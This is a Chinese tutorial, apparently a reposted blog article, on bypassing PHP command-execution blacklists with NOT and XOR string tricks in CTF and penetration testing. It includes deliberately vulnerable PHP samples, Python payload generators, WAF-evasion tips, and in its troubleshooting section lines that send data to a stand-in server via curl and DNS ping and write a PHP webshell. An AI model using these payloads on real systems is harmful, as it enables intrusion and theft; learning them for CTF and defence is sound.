PHP黑名单绕过:取反与异或运算在RCE漏洞利用中的实战解析
2026/8/3 9:40:02 网站建设 项目流程

1. 项目概述:为什么RCE黑名单绕过是CTF与实战的必修课

在网络安全竞赛和实际渗透测试中,命令执行(RCE)漏洞的利用是核心技能之一。然而,现代应用防御体系早已不是一片空白,开发者会部署各种过滤机制,最常见的就是黑名单过滤。直接扔一个system(‘whoami’)过去,大概率只会看到一个冷冰冰的“非法字符”提示。这时候,绕过技巧的价值就凸显出来了。今天要聊的,就是从CTF实战中提炼出的两种高效、经典的PHP黑名单绕过手法:取反(~)和异或(^)。这两种方法不依赖任何冷门扩展或生僻函数,仅利用PHP语言本身的特性,就能在字符受限的“牢笼”里,凭空构造出我们需要的函数名和参数,实现命令执行。

这不仅仅是CTF解题的“奇技淫巧”,更是理解PHP语言特性、深入代码审计和漏洞利用的绝佳切入点。很多真实的CMS、框架在过滤用户输入时,都可能留下类似的逻辑缝隙。掌握它们,意味着你在面对一个看似严密的黑名单时,手中多了一把甚至好几把钥匙。本文将手把手拆解原理,提供可复现的解题脚本,并分享我在实际测试中积累的避坑经验。无论你是刚入门CTF的新手,还是想深化Web安全理解的从业者,这篇内容都能给你带来直接的、可操作的收获。

2. 核心原理拆解:取反与异或在字符构造中的魔力

要理解绕过,首先要明白黑名单通常如何工作。一个简单的RCE漏洞点代码可能长这样:

<?php $cmd = $_GET[‘cmd’]; $blacklist = array(‘system’, ‘exec’, ‘passthru’, ‘shell_exec’, ‘|’, ‘&’, ‘;’, ‘`’, ‘$’); foreach ($blacklist as $bad) { if (strpos($cmd, $bad) !== false) { die(‘Hacker!’); } } eval(“echo “ . $cmd . “;”); ?>

这段代码从GET参数cmd获取输入,然后检查输入中是否包含黑名单数组里的任何危险字符串或字符,一旦发现就中断执行。我们的目标就是构造一个能通过检查,但最终仍能执行系统命令的cmd值。

2.1 取反运算(~)的原理与应用

PHP中的取反运算符~,会对一个值的每一位二进制数进行逻辑非操作(0变1,1变0)。当它作用于字符串时,会依次对字符串中每个字符的ASCII码进行取反。

例如,字符s的ASCII码是115,二进制为01110011。对其取反:~01110011=10001100,这个十进制是140,对应一个扩展ASCII字符(通常不可见或为特殊字符)。在PHP中,我们可以用~‘字符’的形式得到一个取反后的字符串。

核心思路:我们无法直接输入system,但我们可以输入system每个字符取反后拼接起来的字符串。在代码执行时,如果我们能对这个字符串再次进行取反操作,就能还原出system。即:system=~(~‘s’ . ~‘y’ . ~‘s’ . ~‘t’ . ~‘e’ . ~‘m’)

关键在于,我们如何让这个取反操作发生?通常有两种场景:

  1. 代码中存在~运算符可利用:比如题目代码本身就是eval(~$_GET[‘a’]),那我们直接提交system的取反字符串即可。
  2. 利用PHP的字符串解析特性:这是更常见的情况。在PHP中,~~a这样的写法是语法错误,但我们可以通过动态函数调用等方式间接实现。例如,如果我们能控制一个变量名,将其赋值为取反后的字符串,再通过$var()的方式调用,就需要一次额外的取反来还原函数名。此时,我们常常需要结合PHP的可变变量和$_GET/$_POST数组。

一个简单的例子: 假设我们可以这样传参:?a=~system。但~system本身在传输时,~s这些字符可能被过滤。所以我们通常先在自己的环境中计算出system取反后的字符串内容(一个乱码字符串),然后直接提交这个乱码字符串作为参数值。

如何计算?在本地PHP环境中运行:

<?php echo urlencode(~‘system’); // 输出取反后字符串的URL编码形式 // 或者直接输出 $payload = (~‘system’); for($i=0; $i<strlen($payload); $i++){ echo ord($payload[$i]).‘ ’; // 输出每个字符的ASCII码 } ?>

得到的结果(一串数字或编码后的字符串)就是我们payload的一部分。

2.2 异或运算(^)的原理与应用

异或运算符^的规则是:相同为0,不同为1。在PHP中,对两个字符串进行异或,是对它们对应字符的ASCII码进行按位异或,生成一个新的字符串。

核心思路:如果我们想得到字符串system,我们可以找到另外两个字符串A和B,满足A ^ B = ‘system’。那么,在代码执行时,如果我们能构造出A^B这个表达式,其结果就是system

如何寻找这样的A和B?这里有一个关键点:在PHP中,两个字符串异或,是从第一个字符开始,依次对两个字符串的每个字符进行异或。如果两个字符串长度不同,短字符串会被用空字符(\0)补齐到与长字符串相同长度。但更实用的方法是,我们通常用可见字符(即ASCII码在32-126之间的字符)来构造A和B,确保它们能顺利通过大多数过滤。

构造方法: 对于目标字符串system的每一个字符(比如s’, ASCII 115),我们需要找到两个可见字符char_achar_b,使得ord(char_a) ^ ord(char_b) = 115。因为异或运算是可逆的,如果我们固定char_a为一个任意可见字符(例如a’, ASCII 97),那么char_b = chr(97 ^ 115) = chr(50) = ‘2’2也是可见字符。这样,我们就用a2异或得到了s

依次对s,y,s,t,e,m进行这样的操作,我们可以用两串长度相等的、完全由可见字符组成的字符串A和B,使它们异或后得到system

为什么异或绕过更强大?因为取反得到的字符串往往包含大量不可见字符,在传输或某些过滤场景下可能被截断或处理。而异或可以做到无字符(仅用可见字符)RCE。所谓“无字符”,并不是真的不用字符,而是指payload中不直接出现被禁用的函数名、括号、引号等关键字符,全部由字母数字等“白名单”字符通过运算构造出来,从而绕过基于正则匹配的黑名单。

3. 实战场景分析与工具链准备

在真正动手构造payload之前,我们需要明确实战中的常见场景,并准备好相应的工具。CTF题目千变万化,但核心过滤模式不外乎以下几种:

  1. 直接字符串匹配黑名单:如开篇例子,使用strpospreg_match等函数匹配systemexec等关键词。
  2. 正则表达式过滤:例如preg_replace(‘/[a-z]+/i’, ‘’, $input),过滤所有字母。这种情况下,取反和异或的payload本身(如果是可见字符构造)也可能被过滤,需要调整策略。
  3. 字符禁用:过滤了空格、反引号、分号、美元符号、括号等。这需要我们调整命令执行的写法,比如用${IFS}代替空格,用?><?php标签闭合等。
  4. 多级过滤与WAF:现实中的Web应用防火墙(WAF)或自定义过滤器可能有多层规则,包括长度限制、编码检测等。

我们的工具链准备:

  • 本地PHP环境:用于计算payload、测试效果。推荐使用Docker快速搭建,例如docker run -it --rm php:8.2-cli php -a进入交互模式。
  • Burp Suite 或 Postman:用于发送精心构造的HTTP请求,特别是当payload包含特殊字符时,方便进行URL编码和修改。
  • Python脚本:自动化生成异或payload的利器。手动计算六个字符的对应关系尚且可行,但如果要构造一个长命令(如system(‘cat /flag’)),手动计算几乎不可能。我们需要编写脚本自动寻找可见字符对。
  • 浏览器开发者工具:用于观察请求响应,调试前端可能的编码或拦截。

一个重要心得:不要一上来就想着生成最终payload。先进行信息收集:提交一些简单测试字符,看回显、看错误信息,判断过滤规则是黑名单还是白名单,过滤了哪些具体字符,是否有长度限制,是否对输入进行了编码或解码操作。这能帮你节省大量盲目尝试的时间。

4. 手把手构造:取反绕过实战演练

假设我们遇到一个题目,其核心代码如下:

<?php highlight_file(__FILE__); $code = $_GET[‘code’]; $blacklist = [‘[a-z]’, ‘\s’, ‘\‘’, ‘“’, ‘\`’, ‘\[’, ‘\]’, ‘\$’, ‘\\’, ‘\^’, ‘\~’]; foreach ($blacklist as $item) { if (preg_match(‘/‘ . $item . ‘/i’, $code)) { die(‘Bad char!’); } } eval($code . ‘;’); ?>

这个黑名单用正则过滤了小写字母、空白、引号、反引号、方括号、美元符号、反斜杠,甚至把^~也过滤了!这意味着我们不能直接在code参数里写~‘...‘这样的取反表达式。但是,注意eval($code . ‘;’),它只是把我们输入的$code拼接一个分号后执行。如果我们能构造一个变量,其值就是取反后的字符串,然后通过某种方式对这个变量进行取反操作,是不是就可以了?

思路转换:我们不能在输入里写~,但PHP语言本身有取反操作。如果我们能构造一个字符串,其内容就是system每个字符取反后的结果,然后让这个字符串在eval的执行环境里,被PHP的取反运算符作用一次,就能得到system。但eval里怎么引入取反操作呢?除非我们输入的$code本身就包含~运算符,但~被过滤了。

这时候需要利用一个特性:PHP在拼接字符串时,如果字符串是字面量,且其中包含的变量名符合规范,该变量会被解析。但这似乎走不通。更直接的思路是:利用.连接符和已经存在的变量。但题目环境通常很干净。

一个更可行的经典方法是:利用PHP的$_GET$_POST数组本身,以及字符串索引的特性。虽然我们不能直接传~,但我们可以传一个数组的键名,这个键名是一个取反后的字符串。然后,在代码中通过$_GET[‘某个参数’]来引用它。但这里$code是直接eval的,我们需要构造的$code值最终必须是一个合法的、能产生取反操作的PHP表达式。

让我们退一步,看一个更典型、更简单的取反绕过场景,假设黑名单只过滤了函数名,但没过滤~和引号:

// 假设这是题目代码,黑名单过滤了‘system‘, ‘exec‘等单词,但没过滤‘~‘ $func = $_GET[‘func’]; $arg = $_GET[‘arg’]; if (preg_match(‘/system|exec|passthru|shell_exec/i’, $func)) { die(‘Hacker!’); } $func($arg); // 动态函数调用

这时,我们可以:

  1. 本地计算取反payload:$payload = urlencode(~‘system’);假设得到%8C%86%8C%8B%9A%92
  2. 提交请求:?func=%8C%86%8C%8B%9A%92&arg=whoami
  3. 服务器端$func的值为这个乱码字符串。但直接$func($arg)会出错,因为%8C%86...不是一个有效函数名。
  4. 关键点:我们需要在服务器端对这个字符串进行一次取反。但代码里没有~操作。怎么办?如果代码是(~$func)($arg),那就可以。但题目不是。

在这种情况下,单纯的取反绕过可能失效,需要结合其他技巧,比如利用assert函数配合字符串拼接,或者寻找代码中其他能执行取反操作的地方。这引出了CTF中的一个常见技巧:全局搜索所有用户输入点。也许func参数过滤很严,但另一个参数x可能被用于其他地方,比如$x = ~$_GET[‘x’];,然后$x又被拼接进了eval的字符串中。这就需要代码审计的能力了。

取反绕过的局限性:生成的payload包含不可见字符,在URL传输中可能需要正确编码,在某些上下文(如作为函数名)中可能引发问题。它更适合于目标环境本身就会对输入进行取反操作,或者我们可以将取反后的字符串作为数据(而非代码)传递,然后在执行上下文中通过某些方式触发取反的场合。

5. 手把手构造:异或绕过实战演练

异或绕过比取反更灵活,因为它可以生成纯可见字符的payload。我们继续使用第4节第一个复杂的过滤场景(过滤了字母、空格、引号、反引号、^~等)。注意,它过滤了小写字母[a-z],但没有过滤大写字母[A-Z]和数字[0-9]!同时,它过滤了^~运算符本身,但没有过滤异或运算的结果,只要我们能用其他方式构造出异或表达式。

一个突破点:PHP中,两个字符串异或,除了用^运算符,还可以通过"string1" ^ "string2"的形式,但这里需要引号。引号被过滤了。还有别的方法吗?有,利用PHP中字符串与数字的自动转换,以及位运算的特性

但更经典的异或绕过场景是下面这种:

<?php highlight_file(__FILE__); $cmd = $_GET[‘cmd’]; $blacklist = [‘[a-z]’, ‘\s’, ‘\\\\’, ‘\/’, ‘\‘’, ‘“’, ‘\`’, ‘\[’, ‘\]’, ‘\$’, ‘\<’, ‘\>’]; foreach ($blacklist as $item) { if (preg_match(‘/‘ . $item . ‘/i’, $cmd)) { die(‘Bad char!’); } } eval($cmd . ‘;’); ?>

这个过滤了所有小写字母和很多特殊字符,但没有过滤大写字母、数字、点号.、括号()、以及@等符号。我们的目标是执行system(‘ls’)system是小写,被禁。我们需要用大写字母和数字异或构造出system

步骤1:构造函数名system我们需要找到两串由大写字母和数字组成的字符串$A$B,使得$A ^ $B = ‘system’。 我们可以写一个Python脚本来暴力寻找:

import itertools def find_xor_pair(target): target_chars = list(target) # 可用字符集:这里假设大写字母和数字 charset = [chr(i) for i in range(ord(‘A’), ord(‘Z’)+1)] + [chr(i) for i in range(ord(‘0’), ord(‘9’)+1)] # 为了简化,我们固定第一个字符串为某个模式,比如全’A‘,然后计算第二个字符串 # 但更通用的方法是搜索 for a_chars in itertools.product(charset, repeat=len(target)): a = ‘’.join(a_chars) b = ‘’ valid = True for i in range(len(target)): xor_val = ord(a[i]) ^ ord(target[i]) if chr(xor_val) not in charset: # 要求b的每个字符也在字符集内 valid = False break b += chr(xor_val) if valid: return a, b return None, None target = ‘system’ a, b = find_xor_pair(target) if a and b: print(f“A: {a}”) print(f“B: {b}”) print(f“Verify: {repr(‘‘.join(chr(ord(a[i]) ^ ord(b[i])) for i in range(len(a))))}”) else: print(“Not found with given charset.”)

运行后,我们可能会得到一对字符串,例如A=‘XVLEJOG’,B=‘EHMCBN’(此处为举例,实际结果需运行脚本)。但注意,system是6个字符,我们的A和B也必须是6个字符。脚本会搜索。

步骤2:构造参数‘ls’同样,我们需要构造‘ls’。但注意,单引号被过滤了。我们不能直接写‘ls’。怎么办?我们可以用同样的异或法构造出字符串ls,但如何将它作为参数传递呢?在eval中,如果我们能构造出($A^$B)(‘ls’)这样的形式,但引号被过滤了。

这里需要另一个技巧:在PHP中,字符串可以用.拼接,并且未定义的常量会被当作字符串(会抛出一个Warning,但会继续执行)。例如,直接写ls,PHP会先把它当成一个常量,找不到后降级为字符串‘ls’。但这里ls包含小写字母,被过滤了。所以此路不通。

一个更强大的方法是:用异或构造出整个函数调用语句的字符串,然后用asserteval本身来执行。但assert也可能被过滤。如果eval可用,且我们能把最终payload作为一个字符串交给eval,那么问题就变成了:如何构造一个字符串,其内容是system(‘ls’)?我们可以用异或构造出这个完整的字符串,然后通过某种方式让这个字符串被eval

假设我们构造了两个长字符串$X$Y,使得$X ^ $Y = “system(‘ls’)”。那么,在eval中,我们可以写eval($X^$Y);。但eval本身在$cmd里,而$cmd会被拼接分号后执行。所以我们的payload可以是:?cmd=eval($X^$Y)。但eval是小写字母开头,被过滤了。而且$X$Y作为变量,需要被定义,或者来自$_GET

一个经典的最终payload构造流程(无数字字母RCE)

  1. 利用未被过滤的字符(如_@[].()等)构造出$_GET数组的访问。例如,$_GET[‘a’]可以用${_GET}[‘a’]表示,如果$[被过滤,可能需要更奇技淫巧,比如利用phpinfo()中的信息作为字符串来源。
  2. 将我们通过异或生成的、代表system(‘ls’)的字符串,放在GET参数a的值中(这个值是一串乱码或可见字符,取决于构造方式)。
  3. cmd参数中,构造一个表达式,从$_GET[‘a’]中取出这个字符串,并用assert或类似的函数执行它。如果assert被过滤,可以尝试create_functionpreg_replace/e模式(已废弃)等。

由于这个构造过程极其复杂,且严重依赖于题目具体的过滤规则,在真实的CTF中,往往需要结合自动化工具生成payload。网络上流行的“无字母数字Webshell”生成脚本,其核心就是异或和取反算法。

我的经验:在实战中,如果遇到如此严格的过滤,我通常会先尝试异或绕过生成一个最简单的phpinfo()来测试环境。因为phpinfo包含小写字母,需要构造。如果成功,再进一步构造更复杂的命令执行。如果异或也走不通,就要考虑其他层面,比如利用.htaccess、文件包含、序列化漏洞等,进行降维打击。

6. 解题脚本编写与自动化思路

手动构造异或payload是繁琐且容易出错的。作为一名实战者,拥有自己的武器库至关重要。下面分享一个我常用的Python脚本框架,用于生成异或绕过payload。这个脚本的思路是:给定一个目标字符串(如system(‘cat /flag’))和一个允许的字符集(如大写字母和数字),自动寻找两串符合要求的字符串A和B。

#!/usr/bin/env python3 import urllib.parse def generate_xor_payload(target, charset=None): “”” 生成异或payload。 :param target: 目标字符串,如 ‘system(‘ls /‘)‘ :param charset: 允许使用的字符集,默认为大写字母+数字 :return: 字典,包含字符串A、B以及最终payload构造示例 “”” if charset is None: # 默认字符集:大写字母 A-Z 和数字 0-9 charset = [chr(i) for i in range(ord(‘A’), ord(‘Z’)+1)] + [chr(i) for i in range(ord(‘0’), ord(‘9’)+1)] target_len = len(target) # 为了简化,我们采用一种策略:固定字符串A为字符集中某个字符的重复,比如全‘A‘ # 然后计算对应的B。如果B的字符都在字符集内,则成功。 base_char = ‘A‘ # 可以尝试字符集中的不同字符作为基础 a = base_char * target_len b = ‘‘ for i in range(target_len): xor_val = ord(base_char) ^ ord(target[i]) if chr(xor_val) not in charset: # 如果使用全’A‘不行,可以尝试遍历字符集寻找合适的base_char print(f“[!] Failed with base char ‘{base_char}‘ for target char ‘{target[i]}‘. Trying next...“) # 这里可以加入更复杂的搜索算法,比如回溯。为简洁,本例仅尝试单个base_char。 return None b += chr(xor_val) payload_php = f“({a}^{b})“ # 在PHP中,这就是异或运算 # URL编码 a_encoded = urllib.parse.quote(a) b_encoded = urllib.parse.quote(b) payload_php_encoded = urllib.parse.quote(payload_php) result = { ‘target‘: target, ‘A‘: a, ‘B‘: b, ‘A_encoded‘: a_encoded, ‘B_encoded‘: b_encoded, ‘php_expression‘: payload_php, ‘php_expression_encoded‘: payload_php_encoded, ‘verification‘: ‘‘.join(chr(ord(a[i]) ^ ord(b[i])) for i in range(target_len)) } return result if __name__ == ‘__main__‘: # 示例:生成执行 whoami 的 payload target_cmd = “system(‘whoami‘)“ print(f“[*] Generating XOR payload for: {target_cmd}“) res = generate_xor_payload(target_cmd) if res: print(f“[+] Success!“) print(f“ Target: {res[‘target‘]}“) print(f“ String A: {res[‘A‘]} (URL encoded: {res[‘A_encoded‘]})“) print(f“ String B: {res[‘B‘]} (URL encoded: {res[‘B_encoded‘]})“) print(f“ PHP Expression (A^B): {res[‘php_expression‘]}“) print(f“ PHP Expression (URL encoded): {res[‘php_expression_encoded‘]})“) print(f“ Verification (should be target): {res[‘verification‘]}“) print(“\n[*] Usage idea:“) print(“ If you can control a variable like $a and $b, set them to these strings.“) print(“ Then use eval($a ^ $b); or ($a ^ $b)(); if the result is a function name.“) print(“ Note: This example assumes no parentheses or quotes in target are filtered.“) else: print(“[-] Failed to generate payload with the given charset. Try expanding the charset.“)

脚本使用说明与注意事项:

  1. 字符集调整:如果题目只允许数字,就把charset设为[‘0‘-‘9‘];如果允许一些特殊符号如@.,也加进去。字符集越大,构造成功的概率越高。
  2. 固定字符策略:这个脚本采用了固定A字符串为同一字符的简单策略。优点是生成速度快,B字符串就是目标字符串每个字符与固定字符异或的结果。缺点是可能失败(B的某个字符不在字符集内)。生产级的脚本(如著名的phpggc工具中的相关脚本)会采用更复杂的搜索算法,甚至利用多个字符串异或(如A^B^C)来增加成功率。
  3. Payload构造:脚本输出的php_expression(AAA... ^ BBB...)。在实战中,你需要根据题目环境将其嵌入。例如:
    • 如果题目是eval($_GET[‘cmd‘]),且过滤了字母但没过滤^和括号,你可以尝试提交?cmd=(AAA...^BBB...);。但注意,这样eval执行的是异或结果,如果结果是system(‘whoami‘)这个字符串,它会被当作代码执行吗?不会,它只是一个字符串。你需要外面再套一个eval或者利用其他方式执行这个字符串。所以更常见的用法是,异或构造出一个函数名(如system),然后配合参数使用。
  4. 自动化集成:可以将此脚本与Burp Suite的Intruder或扩展结合,自动针对目标生成payload并测试。更高级的框架如sqlmaptamper脚本、Commix的自定义payload模块,原理也类似。

一个重要提醒:自动化脚本是辅助,理解原理才是根本。在真实攻防或CTF中,往往需要根据目标的错误回显,动态调整字符集和payload结构,甚至结合多种绕过手法(如编码、模板注入、文件包含)才能成功。

7. 常见问题排查与实战避坑指南

即使理解了原理,拥有了脚本,在实际操作中还是会遇到各种“坑”。下面是我在多次CTF和渗透测试中总结的一些常见问题及解决方案。

问题1:Payload提交后没有任何回显,或者返回500错误。

  • 可能原因1:特殊字符被Web服务器或中间件处理。例如,%00(空字符)、%0a(换行)可能在传输过程中被截断。+号在URL中会被解码为空格。某些不可见字符可能被WAF识别并拦截。
  • 排查技巧
    • 使用Burp Suite的Decoder模块,对比你生成的payload原始字节和发送出去的字节是否一致。
    • 尝试双重URL编码。将payload中所有特殊字符(包括%本身)进行两次URL编码。例如,%变成%25%25再变成%2525。这可以绕过一些简单的解码过滤。
    • 更换请求方法。从GET改为POST,或者反之。POST的body部分对特殊字符的处理有时与URL不同。
    • 添加无关参数或修改User-Agent。有些WAF基于流量特征检测,添加一些随机参数或使用常见的浏览器UA可能降低检测概率。

问题2:异或构造的payload在本地测试成功,但打到目标上无效。

  • 可能原因1:目标PHP版本或配置差异。不同PHP版本对字符串处理、错误抑制、运算符优先级可能有细微差别。例如,在php.inishort_open_tag的设置会影响<?的解析。
  • 可能原因2:字符编码问题。你的脚本和目标的默认字符编码可能不同(如UTF-8 vs GBK)。中文字符的多字节编码可能会破坏异或计算。
  • 排查技巧
    • 如果题目提供了Docker环境或提示了PHP版本,尽量在本地搭建相同环境测试。
    • 先尝试一个最简单的payload,比如异或构造phpinfo(),看能否成功。如果phpinfo能执行,说明环境基本通顺,再构造复杂payload。
    • 在payload中加入@操作符抑制错误,或者使用echoprint_r输出中间变量值,帮助调试(如果题目有回显)。

问题3:过滤规则似乎绕不过去,感觉所有路都被堵死了。

  • 可能原因:陷入了思维定式,只盯着代码执行这一条路。黑名单过滤非常严格时,可能需要转换利用思路
  • 拓展思路
    • 利用PHP内置函数:很多PHP函数可以间接执行命令或读写文件,不一定非要system/exec。例如:
      • pcntl_exec(需要开启扩展)
      • popen/proc_open
      • mail()函数配合sendmail命令(如果配置不当)
      • LD_PRELOAD劫持(通过putenv
      • imagickffmpeg等扩展的命令注入参数
    • 利用文件操作:如果能写文件,可以写入一个Webshell。例如,利用file_put_contents配合<?=eval($_POST[‘a‘]);?>(短标签可能被过滤,需调整)。
    • 利用序列化与反序列化:如果存在反序列化点,可以构造POP链执行命令,完全不需要敏感函数名出现在初始payload中。
    • 利用.htaccess:如果允许上传.htaccess文件,可以设置AddHandlerphp_value来将任意文件当作PHP解析。
    • 利用PHP过滤器链:在文件包含漏洞中,php://filterconvert.iconv.过滤器可以进行字符转换,有时可用于绕过过滤。

问题4:命令执行成功了,但读不到flag,或者执行结果被过滤了。

  • 可能原因1:flag文件名或路径未知。CTF中flag可能不在根目录,名字可能是flagflag.txtflag.php.flag等。
  • 排查技巧
    • 先执行ls -la /查看根目录,ls -la查看当前目录。
    • 使用find / -name ‘*flag*‘ 2>/dev/null全局搜索。
    • 如果命令回显被过滤,尝试外带数据(DNSLog、HTTP请求):
      • curl http://your-server.com/$(whoami)
      • ping -c 1 $(whoami).your-dnslog.com
    • 如果连外带都不行,尝试写入文件再访问:echo ‘<?php system($_GET[“c“]);?>‘ > /var/www/html/shell.php

一个关键的避坑经验:永远进行本地模拟测试。在把payload发送到真实目标前,尽可能在本地搭建一个模拟环境(用Docker最方便),用相同的PHP版本和配置进行测试。这能帮你排除掉90%的环境问题。另外,多阅读PHP官方文档中关于字符串运算符、位运算符、类型转换的部分,很多绕过技巧都源于对语言特性的深刻理解,而不仅仅是记忆payload。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询